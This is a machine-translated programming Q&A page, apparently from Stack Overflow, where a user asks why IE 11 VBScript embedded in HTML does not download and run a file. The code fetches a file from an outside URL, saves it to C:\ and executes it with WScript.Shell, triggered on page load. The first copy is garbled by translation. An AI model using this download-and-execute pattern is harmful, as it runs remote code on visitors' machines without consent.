Html ActiveX:下载文件并执行
基于我想从互联网上下载一个文件,并在下载后执行这个文件 下面有这个代码,但什么也没发生。为什么? 有人也已经有这个麻烦了 附言:我正在使用IE 11Html ActiveX:下载文件并执行,html,vbscript,Html,Vbscript,基于我想从互联网上下载一个文件,并在下载后执行这个文件 下面有这个代码,但什么也没发生。为什么? 有人也已经有这个麻烦了 附言:我正在使用IE 11 子测试 strFileURL=”http://www.therealbest.com/files/rosa.jpg" strHDLocation=“C:\shutterstock_242521867.jpg” 设置objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”) objXMLHTTP.open“GET”,strF
子测试
strFileURL=”http://www.therealbest.com/files/rosa.jpg"
strHDLocation=“C:\shutterstock_242521867.jpg”
设置objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”)
objXMLHTTP.open“GET”,strFileURL,false
objXMLHTTP.send()
如果objXMLHTTP.Status=200,则
设置objADOStream=CreateObject(“ADODB.Stream”)
objADOStream,打开
objADOStream.Type=1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position=0
设置objFSO=Createobject(“Scripting.FileSystemObject”)
如果objFSO.Fileexists(strHDLocation),则objFSO.DeleteFile strHDLocation
设置objFSO=Nothing
objADOStream.SaveToFile strHDLocation
objADOStream,关闭
设置objADOStream=Nothing
如果结束
设置objXMLHTTP=Nothing
设置WshShell=CreateObject(“WScript.Shell”)
WshShell。运行strHDLocation
设置WshShell=Nothing
端接头
这些是说明
运行脚本
谢谢您的帮助。您是否已将文件保存为
.hta
?@MCND,因为.hta起作用了。但他看起来像一个二进制文件。如何将它放在html中,并在html中运行,类似于Java小程序?对不起,我不明白“它像二进制文件一样”是什么意思。
<HTML>
<HEAD>
<script type="text/vbscript" language=vbscript>
sub test
strFileURL = "http://www.therealbest.com/files/rosa.jpg"
strHDLocation = "C:\shutterstock_242521867.jpg"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run strHDLocation
Set WshShell = Nothing
end sub
</script>
</HEAD>
<BODY OnLoad="vbscript:test">
these are the instructions
<button onclick="vbscript:test" >Run the script</button>
</BODY>
</HTML>